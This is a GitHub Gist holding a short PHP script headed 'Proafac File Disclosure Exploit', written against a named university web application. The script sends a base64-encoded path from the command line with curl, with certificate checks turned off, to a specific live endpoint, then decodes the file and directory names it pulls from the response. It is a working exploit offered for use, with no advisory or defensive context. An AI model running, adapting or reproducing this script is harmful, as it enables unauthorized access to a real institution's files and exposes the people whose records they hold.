Created
September 12, 2019 23:47
-
-
Save carlosernestolopez/ab416b5a764ed2702a625df6e1a43f9b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Proafac File Disclosure Exploit | |
# By Carlos E. López | |
# celopez.ni1990@gmail.com | |
$dir = base64_encode($argv[1]); | |
$cmd = 'curl --insecure https://proafac.unanleon.edu.ni/actas/indice.php --data "path='.$dir.'"'; | |
$info = shell_exec($cmd); | |
preg_match_all('|pathdestino\(document\.frm1,\'(.*?)\'\)|', $info, $matches); | |
foreach($matches[1] as $match) | |
print base64_decode( $match )."\n"; | |
preg_match_all('|idfile=(.*?)"|', $info, $matches); | |
foreach($matches[1] as $match) | |
print base64_decode( $match )."\n"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment